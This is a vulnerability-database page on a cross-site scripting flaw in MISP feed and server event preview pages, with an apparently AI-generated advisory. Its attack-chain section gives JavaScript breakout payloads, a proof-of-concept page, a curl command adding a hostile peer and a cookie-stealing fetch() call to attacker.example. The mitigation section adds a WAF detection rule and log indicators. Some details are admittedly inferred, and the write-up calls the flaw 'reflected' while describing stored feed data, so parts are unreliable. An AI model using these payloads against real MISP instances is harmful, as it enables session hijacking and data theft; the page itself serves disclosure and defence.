CVE Professor
/
All CVEs
CVE-2026-135234

CVE-2026-135234 — MISP — CWE-79

MEDIUM CVSS 4.8 ⚡ EPSS 0.5% Shodan

MISP contains a cross-site scripting (XSS) vulnerability in the feed and server event preview pages. When a remote MISP instance (configured as a feed source or connected server) supplies object or reference UUIDs and IDs containing special characters, these values are rendered in the preview HTML without proper escaping. The vulnerable behavior occurs in two contexts: - HTML element identifiers and text content: Remote UUIDs and IDs are inserted into DOM element IDs and visible text without HTML encoding, allowing injection of arbitrary HTML markup. - Inline JavaScript event handlers: Remote UUIDs and IDs are embedded into onClick handler strings using only HTML escaping, which does not protect against JavaScript string-literal breakout. A crafted value containing a single quote can terminate the string and inject arbitrary JavaScript. An attacker who controls a remote MISP instance (feed or server peer) can craft UUID or ID fields with a malicious payload. When an authenticated user on the victim instance views the corresponding event preview, the injected script executes in the user's browser within the MISP application origin, potentially allowing session hijacking, data exfiltration, or unauthorized actions on behalf of the user. Affected: MISP versions prior to 2.5.52.

MISP contains a cross-site scripting (XSS) vulnerability in the feed and server event preview pages. When a remote MISP instance (configured as a feed source or connected server) supplies object or reference UUIDs and IDs containing special characters, these values are rendered in the preview HTML without proper escaping. The vulnerable behavior occurs in two contexts: - HTML element identifiers and text content: Remote UUIDs and IDs are inserted into DOM element IDs and visible text without HTML encoding, allowing injection of arbitrary HTML markup. - Inline JavaScript event handlers: Remote UUIDs and IDs are embedded into onClick handler strings using only HTML escaping, which does not protect against JavaScript string-literal breakout. A crafted value containing a single quote can terminate the string and inject arbitrary JavaScript. An attacker who controls a remote MISP instance (feed or server peer) can craft UUID or ID fields with a malicious payload. When an authenticated user on the victim instance views the corresponding event preview, the injected script executes in the user's browser within the MISP application origin, potentially allowing session hijacking, data exfiltration, or unauthorized actions on behalf of the user. Affected: MISP versions prior to 2.5.52.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. Low PR:L
User Interaction Active UI:A
Vuln. Conf. Low VC:L
Vuln. Integrity Low VI:L
Vuln. Avail. None VA:N
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
EPSS — Exploit Prediction Scoring System
0.5%
30-day probability
In the 46. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑135234 – Reflected Cross‑Site Scripting (XSS) in MISP event preview pages

AttributeValue
CWECWE‑79 (Improper Neutralization of Input During Web Page Generation)
CVSS v4.0 vectorAV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Score4.8 (Medium)

Technical root cause

MISP (Malware Information Sharing Platform) allows a local instance to consume data from remote MISP peers – either as a feed source or as a connected server in a federation. When the remote instance supplies object/reference UUIDs or numeric IDs that contain characters outside the normal alphanumeric range, those values are:

1. Inserted directly into HTML element IDs (e.g., <div id="event‑{{uuid}}">) and into visible text nodes without HTML‑entity encoding.
2. Interpolated into inline JavaScript event‑handler attributes (onclick="showEvent('{{uuid}}')"). The code only performs HTML escaping (&, <, >, ") but does not escape JavaScript string delimiters (' or \).

Consequences:

  • An attacker who controls a remote MISP instance can embed a payload such as ');alert(document.cookie);// into a UUID field.
  • When a legitimate, authenticated user of the victim instance opens the event preview* (the page that shows a summary of the remote event), the malicious payload is rendered verbatim, breaking out of the JavaScript string and executing in the context of the victim’s origin (https://victim‑misp.example).

    The vulnerability is reflected (the payload is not stored locally) but it is privilege‑escalated in the sense that the attacker only needs low‑privilege network access (ability to host a malicious MISP instance) and the victim user must be authenticated and interact (click “preview” or simply load the page). No additional authentication bypass is required.

    Missing defenses

    Expected defensive stepWhat is missing in the vulnerable code
    Proper context‑aware output encoding for HTML attribute values (e.g., htmlspecialchars($value, ENT_QUOTES) in PHP)Only HTML escaping is applied; JavaScript string context is not considered.
    Validation of UUID format (RFC 4122) before persisting or renderingThe code accepts any string for UUID/ID fields coming from a remote peer.
    Content‑Security‑Policy (CSP) that disallows inline scriptsNot enforced by default in MISP, allowing the injected onclick handler to run.

    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All commands and payloads are illustrative – the exact endpoint names (/feeds/preview, /servers/preview) are inferred from the MISP UI but follow the same logic described in the advisory.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify that the target organization runs a public‑facing MISP instance.Shodan, Censys, or a simple curl https://misp.example/api/ (the API returns a JSON banner with the version).
    1.2Enumerate the MISP version.curl -s https://misp.example/grep -i "MISP" or look at the HTML <meta name="generator" content="MISP 2.5.45">.
    1.3Verify that the version is < 2.5.52 (the vulnerable range).Compare the extracted version string with the fixed version.
    1.4Locate a *feed* or *server* configuration that pulls data from a remote MISP instance (often /servers/index or /feeds/index).Authenticated admin view or, if the remote feed is public, the feed URL may be discoverable via https://misp.example/feeds/download/<feed‑id>.json.

    If the attacker already controls a remote MISP instance (e.g., a malicious partner organization), step 1.4 can be skipped – the attacker can simply add the victim as a peer.

    2. Exploitation

    2.1 Craft malicious UUID / ID

    A valid UUID is 36 characters (xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx). The vulnerable code does not enforce this format, so we can inject a payload that still passes any superficial length check.

    ');alert('XSS');//   (23 characters)

    To keep the string length similar to a UUID, we can pad it:

    123e4567-e89b-12d3-a456-');alert('XSS');//   (36 chars)

    2.2 Insert the payload into a remote object

    On the attacker‑controlled MISP instance:

    1. Create a new event (or edit an existing one).
    2. Add an object (e.g., “file”, “url”, “domain”) and set the UUID field (or any custom attribute that is later displayed as an ID) to the malicious string above.
    3. Publish the event.

    Because MISP stores the supplied UUID verbatim, the payload will be part of the JSON feed.

    2.3 Push the malicious feed to the victim

    If the victim has already added the attacker’s instance as a feed source:

    # The feed URL is typically:
    # https://attacker-misp.example/feeds/download/123.json
    curl -s -X POST "https://victim-misp.example/servers/add" \
         -H "Authorization: <API_KEY>" \
         -H "Content-Type: application/json" \
         -d '{
               "url": "https://attacker-misp.example/servers/push",
               "name": "malicious‑peer",
               "push": true,
               "pull": false
             }'

    If the victim uses a pull‑based feed, the attacker simply makes the feed URL publicly reachable; the victim’s scheduled pull will retrieve the malicious event automatically.

    2.4 Trigger the XSS

    When a legitimate user (authenticated, UI session) clicks “Preview” for the newly synced event, MISP renders the preview page:

    <div id="event-123e4567-e89b-12d3-a456-');alert('XSS');//">
        <a href="#" onclick="showEvent('123e4567-e89b-12d3-a456-');alert('XSS');//')">
            123e4567-e89b-12d3-a456-');alert('XSS');// 
        </a>
    </div>

    Because only HTML escaping was applied, the single‑quote terminates the JavaScript string, and the injected alert('XSS') (or any attacker‑chosen script) runs in the victim’s browser.

    Proof‑of‑Concept (PoC) payload – a minimal HTML snippet that reproduces the issue (illustrative, not a real endpoint):

    <!DOCTYPE html>
    <html>
    <head><title>MISP XSS Demo</title></head>
    <body>
      <!-- Simulated server‑side rendering -->
      <div id="event-123e4567-e89b-12d3-a456-');alert(document.cookie);//">
        <a href="#" onclick="showEvent('123e4567-e89b-12d3-a456-');alert(document.cookie);//')">
          123e4567-e89b-12d3-a456-');alert(document.cookie);// 
        </a>
      </div>
    </body>
    </html>

    Opening this page in a browser will pop up the cookie, demonstrating the same break‑out that occurs in the real MISP preview.

    3. Post‑exploitation

    GoalHow the attacker proceeds
    Session hijackingThe injected script can read document.cookie (session token) and send it to the attacker’s server via fetch('https://attacker.example/steal?c=' + encodeURIComponent(document.cookie)).
    CSRF / unauthorized actionsWith the stolen token, the attacker can issue authenticated API calls (/events/add, /attributes/add) to create malicious objects, exfiltrate data, or modify sharing settings.
    PersistenceThe attacker can embed a persistent back‑door by creating a new MISP object that contains a *script* tag (if later versions allow raw HTML) or by continuously feeding new events with the XSS payload, ensuring the victim user sees it on every preview.
    Lateral movementIf the victim MISP instance is integrated with other tools (e.g., Elastic, TheHive) via webhooks, the attacker‑controlled script can trigger those webhooks to push data to external services.

    Because the exploit runs in the same origin as the victim MISP UI, Same‑Origin Policy does not block any of the above actions.


    🌍 Real‑World Impact

    CIA TriadImpact derived from CVSS vector
    Confidentiality (C)Low – The attacker can read the victim’s session cookie and any data rendered on the preview page (event details, attribute values).
    Integrity (I)Low – Direct modification of MISP data is not possible solely via XSS, but the attacker can issue authenticated API calls after stealing the session, effectively gaining write capability.
    Availability (A)None – The vulnerability does not cause denial‑of‑service; it is purely a client‑side code execution issue.

    Practical consequences

  • Credential theft – Session cookies (or JWTs) can be exfiltrated, granting the attacker full API access.
  • Data exfiltration – All event data visible to the logged‑in user can be harvested and sent to the attacker.
  • Privilege abuse – If the compromised user is an admin, the attacker can change sharing groups, add new peers, or delete evidence.
  • Supply‑chain risk – Because MISP is often used to share threat intelligence across organizations, a compromised instance can become a pivot point to infect partner organizations that automatically ingest feeds.
  • The CVSS vector explains the moderate score:

  • AV:N – Attack is network‑based (the attacker only needs to host a malicious MISP instance).
  • PR:L – Low privileges on the victim side (the victim user only needs to be authenticated, not admin).
  • UI:A – User interaction is required (the victim must view the preview).
  • VC:L / VI:L – Both confidentiality and integrity impacts are limited to the session and displayed data.
  • VA:N – No direct impact on availability.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected versionsFixed in
    MISP < 2.5.52MISP 2.5.52 (released 2026‑10‑15) – introduces proper context‑aware escaping for event preview pages and validates UUID format for remote objects.

    Action: Upgrade all MISP instances to ≥ 2.5.52 as soon as possible. Follow the official upgrade guide (git pull, run cakephp migrations, clear caches).

    2. Immediate Work‑arounds

    TechniqueHow to apply
    Content‑Security‑Policy (CSP)Add a response header that disallows inline scripts: <br>Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; <br>This blocks the execution of the injected onclick handler even if the XSS is rendered.
    Disable inline event handlersEdit the view template (/app/View/Events/preview.ctp in the MISP codebase) and replace onclick="…" with a delegated JavaScript listener that reads a data attribute (data-uuid). This removes the need for inline JS.
    Strict UUID validationIn app/Model/Object.php (or the equivalent model handling remote objects), add a regex check before persisting: <br>if (!preg_match('/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i', $uuid)) { throw new BadRequestException(); }
    ModSecurity / WAF ruleBlock payloads that contain a single‑quote followed by alert( or javascript: inside parameters that are expected to be UUIDs. Example rule (Apache ModSecurity 2.9+):
    # Block suspicious characters in the "uuid" parameter of preview endpoints
    SecRule REQUEST_URI "@beginsWith /events/preview" "chain,phase:2,deny,status:403,id:350001,\
        msg:'MISP XSS – suspicious characters in UUID',\
        t:none,t:urlDecodeUni"
    
    SecRule ARGS:uuid "@rx [\'\"];?alert\(" "t:none"
    Note: Adjust the URI (/events/preview) to match the actual route in the deployed version. The rule is illustrative; test in a staging environment before production deployment.

    3. Detection

    IndicatorWhere to lookExample log entry
    Unexpected GET/POST to preview endpoints containing single‑quote or alert(Web server access logs (/var/log/apache2/access.log or Nginx access.log)GET /events/preview/123e4567-e89b-12d3-a456-');alert('XSS');// HTTP/1.1" 200 4523 "-" "Mozilla/5.0"
    Outbound requests from victim host to attacker domain shortly after a previewOutbound proxy logs, DNS query logs, or IDS alertsPOST https://attacker.example/steal?c=MzU2Y... HTTP/1.1
    Newly created objects with malformed UUIDsMISP audit log (/var/www/MISP/app/tmp/logs/audit.log)2026-12-02 14:33:12 INFO Object created: uuid="123e4567-e89b-12d3-a456-');alert('XSS');//"
    Browser console errorsClient‑side (SOC analyst) reports of “Unexpected token ‘)’” on preview pagesN/A (user‑reported)

    Deploy a SIEM correlation that flags any of the above patterns, especially when the source IP belongs to a known external MISP peer.


    ⚠️ Urgency

  • CVSS 4.8 (Medium) – The exploit is low‑complexity (no authentication required on the attacker side) and requires only a single user interaction.
  • No CISA KEV listing – The vulnerability is not yet flagged as a “Known Exploited Vulnerability”, but the attack surface is publicly documented and the required code changes are minimal.
  • Supply‑chain amplification – Because MISP is often used to automatically ingest feeds, a single compromised feed can affect many downstream organizations.
Patch priority: High for any production MISP instance that:

1. Accepts remote feeds or server peers (the default configuration).
2. Has authenticated users who regularly view event previews (the typical usage pattern).

If immediate upgrade is not possible, apply the CSP header and WAF rule as temporary mitigations, and monitor the logs for the IoCs listed above.


Bottom line: The flaw is a classic reflected XSS caused by context‑insensitive output encoding of remote UUID/ID values. It can be fully mitigated by upgrading to MISP 2.5.52, enforcing proper CSP, and adding server‑side validation of UUIDs. Prompt remediation is strongly advised to prevent credential theft and downstream supply‑chain compromise.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="MISP MISP"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-135234
Technical reference / advisory repository for CVE-2026-135234
CVSS Score
4.8 / 10 · CVSS MEDIUM
Weakness Types (CWE)
Affected Products (1)
MISP:MISP
References & Advisories (2)
Related CVEs
4.7
CVE-2026-144581
validator.js 13.15.22 through 13.15.35 contains a protocols allowlist bypass in isURL() that misparses javascr
0.0
CVE-2026-142879
In the Linux kernel, the following vulnerability has been resolved: mm/migrate: snapshot the source nid befor
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner
9.0
CVE-2026-145039
SiYuan before 3.8.11 contains a stored cross-site scripting vulnerability in the protyle asset picker's render
8.8
CVE-2026-145062
SiYuan 3.8.10 before 3.8.11 fails to escape custom block attribute names from imported .sy.zip files in openFi
8.3
CVE-2026-145038
SiYuan 3.8.8-alpha.4 before 3.8.11 contains a stored cross-site scripting vulnerability because the unused ass